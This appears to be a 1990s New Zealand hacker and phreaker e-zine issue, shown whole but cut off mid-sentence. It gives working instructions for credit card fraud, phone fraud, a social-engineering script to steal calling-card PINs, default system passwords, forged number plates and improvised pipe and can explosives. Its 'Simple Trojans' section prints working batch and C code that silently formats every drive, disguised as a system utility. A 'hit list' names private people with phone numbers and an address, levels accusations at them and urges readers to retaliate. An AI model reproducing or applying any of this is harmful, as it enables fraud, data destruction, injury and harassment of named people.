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ŽŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸø
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„ Southern Lights Incorporated Mag ISSUE 2 „
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¿ŸŸŸŸø WELCOME BACK EON ŽŸŸŸŸ�
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Welcome to the second addition of the SLi Mag!!!!!
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We hope you liked the first one!!!
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I hope one year on, and one year wiser, we can give you even more info!
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Please if you feel like writting , donating or commenting about / for
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this mag send mail to the adress listed in the editors notes.
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DONATIONS would be VERY WELCOME as if i can get a reasonable ammount
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SLi BBS will go back up online.
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This mag prints to approx. 25 A4 pages - maybe 30 if your lucky..
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If your having formatting problems go use a UNIX box to read this as
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thats what it was written on. OR use DOS EDIT command
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The amiga should have NO problems with formatting
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The RULEZ !!
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If you charge for this MAG you must send 25% of the profit you make to
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the adress listed in the editors notes.
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You may not edit this mag and a max of 2 hard copies may be produced.
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INDEX
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The Scene A Profile ..................... Cyntaxera/Eon
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Exchangez ............................... Eon
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Credit Cards ............................ Eon
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Credit Cards II ......................... Cyntaxera
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Trashing ................................ Eon
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Car Phreaking ........................... Thorium
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[In]Famous Quotes ....................... Digital Omega & Cyntaxera
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Phreaking ............................... Eon
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NZ Calling Cards ........................ Eon/Cyntaxera
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Simple Trojans .......................... Negative pH
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Passwds ................................. Eon
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Smyte (Hit) List ........................ SLi
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R.P.F.S.C (etc..) ....................... Eon
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Fake Platez ............................. Thorium
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VMB's ................................... Eon
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Books 2 Read ............................ Eon
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Aunty Cyntax'Z Nutty Notez .............. Cyntaxera
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111 Numbers ............................. *UNKNOWN* <No ones THAT stupid>
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Sweet Powder............................. Thorium
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Hacking ................................. Eon
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Redox Bomb .............................. Thorium
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Editors notez ........................... Eon
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¿ŸŸŸŸø The Scene A Profile Eon & ŽŸŸŸŸ�
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„ CyntaxEra „
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The Major Groups in the Computer Underground Scene:
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The HACKER:
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A person, male or female, who is interested in computer
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security. The majority of these people are not the misguided souls
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that the media depict them as, infact most are very friendly and
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extremly intelligent. Although their interests in security are quazi-
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legal there intention on the whole are pretty good.
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PROFILE:
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Average Age: 16 - 21
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Physical Description:
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Normally pale skinned, caucasion with unkept hair.
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Clothes:
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Dark - black or alternative
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Average IQ: 100 - 145 (depending on age)
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Attitude to life:
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Carefree, dont mind drugs, are heavy civil
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liberatins.
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Jobs, hobbies etc.:
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Spends most time using computers or in dark rooms,
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away from light, reading SCI-FI novels.
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Books:
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If it has got a cover, they will read it but, like SCI-FI
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and mythical books. Electronic "ZINES" <magazines> like Phrack,
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PHUN, Infotech, ATI, all produced by the hackers and phreakers
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themselves, and a whole lot more. This is but a small sample
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of the many magazines available to the public.
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At the end of this written project, you will be able to get
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a taste of a rather new, but high value magazine produced by
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some local (local, as being within New Zealand) hackers and
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phreakers which form SLi (Southern Lights inc.) - from which
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the "chairperson" just happens to be a good friend of mine.
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Music:
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From metal to opera. It's that diverse.
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Eating Habits:
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Jolt Cola - Drink
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Pizza - Food (obviously)
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Chinese -Food
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Hash Cookies - Food
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Cookies - Food
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Coffee - Drink
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Sleeping Habits:
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A good example would be from R-A-D (a fellow hacker
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and phreaker on the scene which runs SLi).
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"Sleep?? What the fuck is that?"
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Between 3 and 5 hours a night.
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The PHREAKER:
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A person, male or female, who is intrested in telecomunications
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and is sometimes forced to fraudulantly uses the telephone system to talk to
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other phreakers. These people are slightly nastier than hackers and to have
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one who dislikes you can be a big pain, and highly costly.
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Physical Description:
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White Pasty coloured skin, oily hair, rings around eyes
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(obviously from either chatting on illegally produced conferences or just
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to the one or two people or by producing these calls) and normally the
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significant darkly coloured clothing (either black, or colours to blend
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into the environment in which the phreak happens to be in at the particular
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time a phreak is about to make a "telephone call").
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Average Age: 14..15 - 17..18
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Attitude to Life:
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Easy going, free-loader with a bit of a cocky attitude. Still,
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a nice person if you get to know them. Don't mind using drugs (or maybe
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that should be "prefers to..."?)
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Jobs Hobbies etc.:
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Anything. Normally computer or communications, though.
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Music: Anything (well, pretty much anything...)
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Books: Refer to "The HACKER".
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Eating Habits:
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Same as a hacker although more likely to invole a
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bit more cola.. (CAFFIENE!!! (This is used during a phreaker or a
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hacker's three day marathons on the telephone, or computer))
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Sleeping Habits:
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About 2 - 3 hours on average
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The Less Common Groups in the Computer Underground Scene
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The PIRATE: (or WAREZ PUPPY as they are known on the Internet by
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the other members of the Computer Underground)
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A male or female (considered as "kids" by the same group refered
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to above) who likes games.. They are not liked by most hackers or
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phreakers, waste anything they are given to get games and basically
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abuse the PHREAKERS and HACKERS.
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The "TRY-HARDS":
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People who just never made it in the underground. Those who
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want to be in the "in crowd", but are just abused because they are
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considered to be "lame".
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The "NEWBIES":
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Newcomers to the computer undergroud scene which are normally
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treated with suspicion and distrust. It takes approxomatly two to three
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weeks to even get spoken to - depending upon the people you know, of
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course.
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The "OLD-SCHOOL":
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People who have been in the scene for over two years.
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A good example would be Visionary, located in the United States. He is
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looked upon by most as being a mentor and teacher.
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The NARK:
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The most hated and despised member of the underground.
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These can include any of the above catorgories and are the ones who
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cause a large amount of trouble. They are the ones who tend to nark
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to the Police, FBI, CIA, Secret Service (USSS), Bell, MCI, TELECOM and
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all the other mega-companies in which the hackers and phreakers use to
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continue the undergrounds influence.
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„ Southern Lights Incorporated Mag ISSUE 2 „
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¿ŸŸŸŸø Exhanges! EON ŽŸŸŸŸ�
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A List of Wgtn Telephone Switches <Exchanges> <VOX Lines>
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Name Exc Abrev Number
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BELMONT BMT +64-4-565-0100
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COURTNEY PLACE CPC +64-4-801-5676
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EASTBOURNE EE +64-4-562-8100
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HATAITAI HTI +64-4-386-1200
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ISLAND BAY IBY +64-4-383-8100
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JOHNSONVILLE JV +64-4-478-3000
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KARORI KRI +64-4-476-6100
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KELBURN KLB +64-4-475-8100
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KHANDALLAH KNH +64-4-479-7979
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KILBIRNIE KIL +64-4-387-2020
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LOWER HUTT LHT +64-4-566-8808
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MIRAMAR MIR +64-4-388-1100
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NAENAE NAE +64-4-567-7100
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PAEKAKARIKI PAE +64-4-292-8100
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PARAPARAUMU PRM +64-4-298-5100
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PETONE PTN +64-4-568-8100
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PLIMMERTON PLM +64-4-233-8100
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PORIRUA PRO +64-4-237-8100
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PUKERUA BAY PKB +64-4-239-9100
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STOKES VALLEY SV +64-4-563-8100
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TAWA TWA +64-4-232-8100
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TITAHI BAY TIB +64-4-528-9100
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UPPER HUTT NORTH UPN +64-4-526-9100
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UPPER HUTT UP +64-4-528-9100
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WAIKANAE WAE +64-4-293-6100
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WAINUIOMATA WOA +64-4-564-8100
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WAITANGIRUA WTN +64-4-235-9100
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WELLINGTON CENTRAL WN +64-4-472-9100
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WELLINGTON SOUTH WTH +64-4-389-4999
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WHITBY WTB +64-4-234-8100
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There we go. The list of Wellington exchanges. Addresses may be
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forth coming if we can get them.
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¿ŸŸŸŸø Credit Cards Eon ŽŸŸŸŸ�
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Well.. humm.. fuck!!! Okay, umm, CREDIT CARDS!!
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A credit card. I bet your money *grin*, someone in your house has a CC.
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Well, ya know, to get a free phone call with it, all ya need is the
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number and expiry date. However, the expiry date in New Zealand can
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be made up, as Telecom don't check the actual account - just if the
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card is valid!
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This means you ask...
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Well, you get a program like checksum (for those of you who don't know,
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it's a credit card generator), and bingo!
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FREE KALLS anywhere, anytime, ALWAYS!!
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Carding Stuff
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1) Find a "drop site" <--- some place to get the stuff u "buy" sent to
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2) Get some cards <--- trash some place like Pizza Hut, a restaraunt or DSE
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(DSE: Dick Smith Electronics)
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3) Get some mail-order catalogs
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4) Use your common sense and card some stuff!!! :)
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Easy, huh!?!?!
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¿ŸŸŸŸø Credit Cards II Cyntaxera ŽŸŸŸŸ�
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Some stories which you may give you a laugh, or just ammuse you....
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[hopefully.. =) ]
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Names have been changed - perhaps it's obvious, but I'm sure you've met
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Bob, Fran, Stan and Fred before.. seee.. they're waving on the other side
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of the room. No, they're not imaginary.. you just can't see them.
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*manic laughter* *grin* - to protect the innocent.. ;)
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Dontcha just hate it when things like this happens...
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1) Whilst in the middle of signing for a pizza, you forget your
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last name (but you sign and remember your initial - I guess that's
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some sort of a consolation.. ;) ), and you have to make some excuse
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why you have to leave in the middle of signing your sig.
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Pizza Man: "Here's ya pizza, Miss."
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Bob [You]: "Gee, uh, thanks.."
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Pizza Man: "Okay, just sign here."
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[He points to the X where you're s'posed to sign and hands
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you a red ball-point pen]
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Bob: "Sure, not a prob."
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[You grab the pen and begin to sign this dastardly signature
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while the guy who was s'posed to be with you at the time
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had pissed off. You figure that he's gone to the bottom of
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the steps that you were standing at the top of and you
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finished signing your initial (Okay, so you forget your last
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name.. like it really matters... *grin*).]
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"Uh, hang on a mo."
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[You run down, away from the pizza man, and down the steps
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to find "Chris"]
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"Hey, uh, Chris!"
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"Chris": "Yeah, what?"
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Bob: "Help me with these pizzas!"
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[You remember your last name, and get back up the stairs to
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sign the account slip]
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"Sorry, just had to figure out whether he'd gone inside and
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forgot to help me to bring the pizzas in."
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[You flash a friendly smile - it's harder for some guy to
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accuse a person (oh, and it helps being female.. *wink*) of
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having a fake credit card when the person seems friendly
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enough.. *grin*]
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Pizza Man: "Sure, not a problem. We're used to that sorta thing"
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(Yeah, I bet he is! ;) )
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[Finally, "Chris" gets up the stairs to help you carry the
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pizzas a couple of blocks away so you can "pig-out" at
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Stan's house nearby.]
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Bob: "Thanks. It's nice to have a person who understands the
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situation some of us are in at the moment."
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[You wanna laugh, but realise that that would be nasty and
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totally uncalled for.. oh, and it would get him slightly
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suspicious.]
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"Chris": "Sorry, just had to go inside for moment"
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Bob: "Yeah, I thought you weren't gonna come back and help!"
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[You smile]
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Pizza Man: "Okay, well, I'd better be back soon, so I guess I'm outtah
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here."
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"Chris" & Bob: "Okay, see ya, and have a nice night."
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[He drives off and "Chris" and you carry the pizzas off to
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party on down at Stan's.]
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2) What about when the Pizza Man forgets some of your order and asks
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you to come with him back to the Pizza Parlour to pick up the rest
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of your order...
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You'll have to trust your instincts and go with what you think is
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going on. Either, a) he and/or the company know and are tryin' to
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get you back to the Pizza place to get you busted (perhaps the
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Police Station) or b) he really did forget the stuff.
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If you choose to get in the car and drive off with the guy, just
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keep a couple of things in mind. You have a real advantage if you
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are the opposite sex to the pizza person (can't be sexist now, can
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we?!? ;) ).. If that's the case, one word.... FLIRT! It's harder
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for someone to nark on you if they have a serious crush on ya!
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*grin* Just don't over do it and lead them on too far - they may
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want to see you again, and if you ARE found out, he/she is not going
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to forget what you look like in a hurry! =)
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Of course, if you're the same sex, I'd advise NOT to get in the car,
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but to stay back and make some excuse up (eg. "I've got a kid sit-
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tin' upstairs in a high-chair with a bowl of porrige and I don't
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want the room gettin' a mess - the kid would most probably end up
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throwing it all over the room to make as much mess as possible."
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(oh, and don't forget the ole friendly smile.. *grin*)
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One thing though, if you come up with a lousy excuse, they'll get a
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bit suspicious, so don't use some stupid excuse like, "Uh, the, uh,
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dog was in the, uh, middle of, uh, getting it's morning walk?" ..
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And saying your excuse with the least amount of "umm's" and "uh's"
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would be best. Just pretend that you're explaining to one of your
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teachers about leaving your homework at home.. =)
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Trashing
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Don't ya just hate cops?!!
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Well, heres a little bit of fun!
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Me, the editor, and a friend went trashing one night. We got all the
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stuff we wanted - including the ADDRESS of EVERY exchange (switch) in
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Wellington - and we were just tidying up when a sekurity car stopped we
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ran!!! But our bikez (yeah i know well lets say a car was out of the
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question we left anyway the sekurity guy left BUT he had called the cops.
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So after going trashing at the next location on our way HOME the
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pigs stop us !!! <downer> anyway i split <like RIDE FAST>
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Me mate splits in the other direction and the cop car chases ME!
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Well, and another cop (who got out of the car) chased my mate.
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Anyway, the cops siren ther siren and ask me to "pull over"
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whats a guy to do when your on a bike and a cops chasing you in a
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v8 ?? well we stop and get this
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Cop: What's in the bag?
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Me: Papers.
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Cop: Can I look?
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Me: You can't do that.
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Cop: You better let me. Unless you want to spend all night out here
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talking to us.
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Me: Okay, man. Look for y'self.
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[Now that was what u call pigs being FUCKERS!!!!!!!
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Anyway, I get hasselled and shit. Once in the interigation room,
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my mate got a coffee i got NOTHING]
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[after I've been acting like a elite hacker dude]
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Cop: You have a problem with us??
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Me: No, I have no problem with the police. [In other words, just with
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him]
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[Anyway, they couldn't charge us with anything!!! But they were
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going to try, "Possesion of a tool that could be used in a burglary".
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Get this:]
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Cop: Why have you got a hammer in your bag???
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Me: <thinking very fast> Err, to open the rubish bags!? :)
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Cop: Why not take a knife??
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Me: A knife? Cause its illegal to carry a knife! :) <hahahaha>
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Well, anyway, remember: Trashing is okay, but cops are LAMERS!!
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Well, actually some/most cops are okay. Infact they're cool but SOME...
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SOME.. are just born WANKERS and make people think all cops are just
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the same as them.. But, hey, POWER TO THE PEOPLE..
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Car Phreaking Thorium ŽŸŸŸŸ�
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Through personal experience I have found that it is most rewarding to
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phreak with a Laptop.
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Unfortunately it is a little suspicious to be seen sitting on a fence
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with a laptop, and also a little hard to escape...
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So, use a CAR! Just find a nice "Ordinary" car, like two years
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ago's model of a common jap import... Just so that noone can
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describe it anything other than "A Jap Car" or similar. Out of your
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local circle of Phriends at least one will have access to this mode
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of transport.
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Next, spend a day making 2 phreaking cords, attach both to Telecom
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(Trade Mark!) phone jacks inside the car, usually under the dashboard
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so as not to be too suspicous, and connect the two sets of two wires
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onto nails thru the floor at the passengers feet. These can then be
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accessed by alligator clips from outside the car, and is low to the
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ground so that the cords will not be seen. Connect up in the "Usual"
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way (Those grey pylons are best. Just find a nice quiet road...) and
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you're away. Connect the modem in the laptop (Or another one if no
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built in modem) to one jack, and call all those international BBS's.
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Use the other phone for voice phreaks, as the long D/L times can get
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boring, so do things like pissing off the operator etc...
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IMPORTANT!
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If you see anyone walking along YOUR side of the street (They won't
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see the cords on the other side), a telecom van, or any old ladies,
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just casually drive off. Because you will have attached the wires to
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the nails tighter than the aligator clips to the phone lines, you
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will just drag the wires behind you...
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PS - It's a good idea to go in three's, one driver (ALWAYS READY TO
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DRIVE) and two phreaks. It's best if you have a mix of genders, cos
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then if you're caught not too many questions will be asked as to why
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you're "Parked" there, coz what will you be doing.
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø [In]Famous Quotes Digital Omega & ŽŸŸŸŸ�
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„ Cyntaxera „
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A small quote from the SLi team: [Digital Omega and Eon]
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D/O: 'Yo Eon, it says in this hack article that there's less
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hacking per person in NZ 'cos "the people in New Zealand
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are more outdoor oriented".
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Eon: 'Huh? , Where? <Eon looks dazed>'
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---------- Misc Quotes from lots of places ----------
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--- 'Truth is cheap, but information costs' ---
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--- 'Information is power' ---
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--- 'Information is power - power is 0's and 1's' ---
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--- 'Power is in numbers - our only hope for survival is unity' ---
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--- 'If one of our bretheren fall, they shall be martyred, not made a fool' ---
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--- 'If you fall alone, there will always be others to catch you' ---
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--- 'The biggest lie is "Information wants to be free": it begs to be
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hoarded, stored, hidden away from the world. Information is a recluse
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which you pay to bring into the open.' ---
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--- 'Hacking is, in its purest form, exploring.' ---
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--- 'I feel sticky' ---
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--- 'I have no friends male or female' ---
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--- 'Someone's been shmoking in here' ---
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Phreakin Eon ŽŸŸŸŸ�
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Umm, yeah, got any important calls to make, but don't want the phone bill?
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Try going into an office building and into one of the lifts, now this can be
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done almost anwhere there is a lift. Get into the lift and open the emergency
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telephone box and bingo! there you go, a nice fone line at your disposal, pray
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it isn't leased line or otherwise directly linked with the emergency services
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or secretary of the building, and get out your DTMF dialer (only needed if the
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phone has security like only 1 or 2 buttons with call the emergency operator
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or a secretary etc) and dial your destination - watch for people getting onto
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the lift. Put an "OUT OF ORDER" sign on it and/or press the emergency stop
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button until you have finished the call.
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The same idea can be used in places like pubs etc that have taxi phones
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that have a special phone with only the buttons needed to call the taxi
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firm etc. I havent tried this one but im sure something would work.
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Also there are COCOT'S. These are customer-owned-coin-operated-telephone
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these are rented by telecom and are usually brown and white, white, yellow etc
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in colour, can be reconised by the fact that they are usually more expensive
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than normal phones, and they will need the coin to be dropped in BEFORE the
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number is dialled. What happens is that untill the right amount of cash is
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inserted they disconnect the keypad. To get around this, just use your DTMF
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dialer insted of the keypad (a DTMF dialer, or Pocket DIaler, sends DTMF tones
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down the line to simulate the numbers on the keypad, you can buy these at most
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electronic stores) and bingo! you've got a free call!
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ŽŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸø
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø NZ Calling-Cards EON/CyntaxEra ŽŸŸŸŸ�
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„ „
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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A New Zealand calling card is a pice of plastic that allows you to
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call anywhere in New Zealand and it also allows you to call ANYWHERE
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from New Zealand! ie. If you are in New Zealand, you can call the
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USA, UK, ... ANYWHERE.
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Obviously, this has some real power when ya think of what you can do.
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No more out in the bushes tapping lines! Now you're in a fone box, warm
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and drinking a can of Coke and talking to some guy in the USA.
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Now the question.........
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HOW DO I GET SOME CARDS!!!
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~~~~~~~~~~~~~~~~~~~~~~~~~~
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Ok, well, social engineering works... ie.
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"Hello. This is Chris Jones of Telecom, calling card division."
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"Oh, hello. What's the matter?"
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"Well, we're just calling to confirm your $600 call to the US."
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"Huh? What?"
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"It's standard proceedure to call a customer after $500 worth of bills."
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"But I haven't made any calls!"
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"Really?"
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"Damn straight."
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"Humm, what's your calling card number?"
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"It's XXXX-XXXX-XXXX-XXXX."
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"Well, you have a $600 charge on your bill. Have you given your pin out?"
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"No! Of course not!"
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"Well, I can change it for you if you want."
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"Ok, but how about the bill?"
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"I'll remove it for you. Okay, to change your pin number, I need the
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existing pin number."
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"Well, I dunno.. Ummm.. How can you prove you're Telecom?"
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"Call me on", edit a VMB and give them the number, "."
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"Oh, okay. Nevermind. Ummm, here's my pin. 1234."
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"Thank you. I'll change it to 5643"
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"Okay, thank you."
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"Okay. Bye. Oh, and sir, the pin will be changed at 2pm."
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Well, that's it and it works Sadly, people are that LAME!!!
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^"." <--- if i was ment to spell
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god would ave put a dictionary
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next to my computer :)
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Oh, BTW: the way to use a NZCC in NZ is:
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"012-NUMBER-TO-CALL PAUSE CARD-NUMBER-#-PIN-#"
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But, if you can't figure that out, then just listen to the voice prompts
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which will be given to you after dialing '012'.
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Otherwise if out of NZ dial your local NZ direct # instead of 012.
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ŽŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸø
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Simple Trojans Negative pH ŽŸŸŸŸ�
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„ „
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Only applicable to DOS or OS/2:
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Trojens are easy to write, and surprisingly effective. But they have their
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downturns. For example, you seldom test a trojen before releasing it.
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This has led to a major problem in trojens, even in the previous issue of
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this SLi magazine, the fact that DOS asks you for a volume label! Therefore,
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the
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"@Echo Off
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Echo y | Format c:"
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recomended in the previous issue of SLi magazine has a major bug in it.
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It will not return control to the invoking program. This is a slightly more
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advanced piece of batch code that I prefer. It does, however, require DOS 5
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or better.
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@echo off /* Turns off command display */
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ctty nul /* All input and output now go's to the NULL device.
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No ^C possible.) */
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echo y|format c: /v:Supernova /q /u
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/* 'echo y' sends a 'y' character, which is redirected by the
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pipe into the following program, and is interpreted as
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standard input. 'format c:' formats c:, surprisingly
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enough, and '/v:Supernova' is the volume label.
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For a format to destroy anything is DOS 5 or above, '/u'
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is nessesary, and the '/q' simply reduces the time
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needed to about 6 seconds. */
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ctty con /* Give back keyboard input, display output */
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echo Trojen (TM) Copyright 1994. /* Just a gloating message */
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You can also have somewhat more advanced trojens, only a few steps away from a
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virus. Here is one example that I wrote, that consists of three files, and
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is designed as a 'logic bomb'.
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First file: DOSKEY.COM
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In a file called DOSKEY.BAT, put the following.
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@echo off
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graftabl.exe
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graftabl.com
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Complie this file using BAT2EXEC, a free utility which you can FTP.
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You will then have DOSKEY.COM, which can be copyed over the original file.
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Second file: GRAFTABL.COM
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Merely the original DOSKEY.COM under another name :) So copy it.
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Third file, GRAFTABL.EXE
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This is a C file, which cannot be written in .BAT language without extensive
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utilitys. Here is the source:
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#include <dos.h>
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#include <stdio.h>
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#include <stdlib.h>
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int main(void)
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{
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struct date d;
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getdate(&d);
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if (d.da_day == 5)
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{
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system("CTTY NUL");
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system("ECHO Y|FORMAT I: /V:Supernova! /Q /U");
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system("ECHO Y|FORMAT H: /V:Supernova! /Q /U");
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system("ECHO Y|FORMAT G: /V:Supernova! /Q /U");
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system("ECHO Y|FORMAT F: /V:Supernova! /Q /U");
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system("ECHO Y|FORMAT E: /V:Supernova! /Q /U");
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system("ECHO Y|FORMAT D: /V:Supernova! /Q /U");
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system("ECHO Y|FORMAT C: /V:Supernova! /Q /U");
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}
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return 0;
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}
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Notes: For backwards destructive compatability, you need to omit the /Q
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and /U switches, as these were only introduced in DOS 5. The C source was
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written using Borland C++, so the d.da_day structure may vary slightly. If
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required, the return code could be anything you choose.
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[EDITORS NOTE:
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On later vers of DOS the flag /autotest can be used to
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Replace the "echo y| format" bits ]
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Passwds Eon ŽŸŸŸŸ�
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„ „
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Yo ! this is a list of common passwds/accountz for diffrent systems.
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[username -- passwd, passwd, etc...]
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Unix:
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root -- admin, administration
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test -- test, systemtest, tester
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new -- new, newuser, login
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guest,visitor -- guest, null <no passwd that is>, guestuser, visitor
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demo -- demo, null <no pwd>, guest, visitor
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VMS:
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default -- default, usr
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demo -- feild, $ervice, test, digital, service
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sysmaint -- sysmaint, service, digital
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systest -- systest
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system -- system, manager, operator, syslib
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Sys75:
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browse -- looker, lookerpw
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maint -- rwmaint
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locate -- locatepw
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rcust -- rcustpw
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tech -- feild
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cust -- cust
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Of course, this is a REAL quick list written at the last minute, so well..
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you know the drill :) Humm, hey, thats what happens when you get bored...
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Smyte List Southern Lights inc. ŽŸŸŸŸ�
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„ „
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Here is a list of people who have fucked off SLi. We want our
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readers to help pay back those who think playing with SLi is a game.
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They are all lamers and they all need to PAY. Note its from the most
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hienious crime to the lamest. The address is there for special interest
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groups to note down.
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---------------+------------------------+---------------------------------
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Name | Number/Address | Reason
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---------------+------------------------+---------------------------------
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Chris Jones +64-4-562-7620 Edited SLi Mag 1 and said
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HE wrote it !!
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Mark Janssen 74 Tapwhai st Gay paedeophile who raped a
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Stokes Valley guy who is a friend of a few
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Wellington,NZ SLi members.
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Tim Taylor +64-4-567-7932 Asshole who killed an SLi Sys.
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Russel Dench +64-4-233-8713 NARKED on SLi Members
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¿ŸŸŸŸø R.P.F.S.C (etc..) EON ŽŸŸŸŸ�
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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R.P.F.S.C - Rocket Propelled Fly Spray Cans <grin>
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Ok, heres a few little anarchy tricks
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that you should be able to carry out in your own
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home without to much trouble:
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Things you need:
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Steel Pipe - (Just big enough to fit fly-spray-can inside, leave
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10mm gap between can and pipe)
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Second Steel Pipe - (This is the exhaust so the bigger the better though
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it must be bigger than the first pipe - experiment)
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Firestarters - (Those flammable blocks used for starting camp fires)
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Fly-Spray-Can - (FULL)
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How-2:
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Dig a hole in a secure area (in otherwords no where near anything
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of any value!!!), deep enough to fit one and a half fly-spray-cans.
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Shove the pipe in the hole at a 45' angle (prefferable)
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ah fuck it look folow the diagram delow !!!
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can goes down here nosel first (2)
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/
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/ lit fire starters down here (1)
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pipe--- \ \ /
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----- \ \--| |----
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###### \ \#| | ---- exhaust
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####### \ \| |####
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######## \ |#### # = Ground
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Get the pic ?? GOOD !!!
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Fun With Super-Glue
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~~~~~~~~~~~~~~~~~~~
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1 - Take one container of super-glue, superglue the toilet paper tube to the
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dispenser (thing that holds the cardboard tube :)
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2 - Super-glue the toilet seat down.
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3 - Super-Glue your teacher or lecturers diary to the table :)
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4 - Super-Glue your entire P.E. classes shoes to the floor :)
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5 - Super-glue someone you dont likes car/home lock >:-)
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You get the picture, there are thousands of possibilities...
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Baked Bean Bomb
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~~~~~~~~~~~~~~~
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Ok this ones pretty shitty, but its fun at some sort of camp or something
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You Need
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1 baked bean can :) (unopened)
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3or4 Firestarters
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What to do
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Just find a clear spot (away from people/houses etc!!)
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and light the firestarters then put the can upright on top of them
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stand back at a SAFE distance (further the better!!), and watch the baked
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beans fly! :)
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Fake Platez Thorium ŽŸŸŸŸ�
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Flase plates are essential for any form of car-oriented quasi-legal
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enterprise, eg Phreaking with a computer, or burglary...
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For the above system, you may wish to make some plates to help
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disguise your car - REMEMBER!! Phreaking is LESS of an offence than
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falsifying plates (In N.Z.), and so this is NOT a good idea for plain
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ofl phreaking. If, however, you are wishing to, say, plant Bombs in
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someone's house (Only SAMLL ones, such as the "Redoxon Bomb"), then
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these may be necessary.
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First, decide how good they need to be - the more real the better,
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but real ones are harder to make.
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For a spur of the moment job, just find someone's car and taking a
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large pencil (HB is good) and a piece of paper, rub the plates onto
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the paper. This is done by placing the paper over the plates, then
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rubbing the pencil over the letters and numbers. This leaves a
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darker outline where the letters and numbers were, coz they stick out
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from the metal. Trace this ont fresh paper, and you're away...
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The next two ways are a little more complex:
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First you have to find a good supply of number plates - a car
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wreckers usually has some left on the cars. I have a car wreckers
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over from where I work, so one night I decided to do this...
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Take off the number plates - usually fasened with a small bolt in
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each corner. You only need one from each car, but as larger
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selection as possible.
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Take these plates and PHOTOCOPY them. Because they are either balck
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on white, or white on black, use the inverse function on most better
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photocopyers to make them all one type. Then cut out the letters and
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make new plates. You can now return the old plates, after sketching
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them out for physical layout. Now using your cut out letters and
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numbers, make the desired plate - My one is "RS 232" - Hehehe...
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Now paste these onto the physical layout, and you have a plate. For
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added security, make sure you use the right age of color, ie for
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standard plates prior to the 'Mx xxxx' series you have to make them
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white letters and numbers on black backgrounds. After M is black
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letters and numbers on white background. Personalised plates are all
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black letters and numbers on white background.
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Some suggested plates:
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RS 232 (My one, perfect for Phreaking etc...)
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PHREAK, FUKOFF, PHUCKU, FUCKU2, PISOFF
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IWANTU, FUKWIT, WANKER, TOSSER, BIGNOB
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6ULDV8
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(Sexual Deviate!)
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Now just stick them over your plates. Make sure that 'Normal'
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plates, such as 'JM 6316' fit the model of car you are using...
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Remeber that these need not be for YOUR car - put them over someone
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else's plates!
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The second awyis to make a perfect copy of a set of plates - NOTE - I
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have not done this, but it SHOULD work.
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First, nick only 1 plate, using the same method as above to obtain
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it.
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Now make a clay or sand mold of this plate, and cast lead into it.
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This would give you metal plates which you can paint and would look
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100% perfect, but if you are caught with them you could be up for
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SERIOUS SHIT. Paper stick on ones are bad enough...
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø VMB's Eon ŽŸŸŸŸ�
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„ „
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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This is an indepth guide to Hacking VMB's or Voice mail
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Boxes/Systems. [not]
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What are VMB's?
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===============
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A VMB - Voice Mail Box is basicly a answer machine, however
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it is designed on the idea of a multi user base. ie every user on the
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VMB has a seperate mail box and passcode between 2 and 32 characters -
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depending upon the system type. Most big corps. and govt. deps. have them.
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How to use them...
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Keys that are useful:
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# = Upon entering the VMB system, press this key. You will be prompted
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for a mail box, normally 4 digits long. If the mbox exists, you are
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prompted for a passcode.
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Some defaults are:
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9997 997 7779 779 1111 911 9111 1010 1423 9009 1199 5555 0666 0999
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9000 1234 4321.
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* = This key is used in many ways. Normaly the "special" key it is used
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to hang up, cancel a command, return from a menu or other things like
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that.
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Uses of a VMB:
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Well, other than the obvious anonaminity it gives you, you can use it to:
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trade info, card stuff, bluff operators into 3rd party billing. A whole
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range of diffrent things. For example lets
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say you want to card something .. well you normally need to give a contact
|
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number so: rig a VMB's prompts to say "Hi this is <name of cc holder>
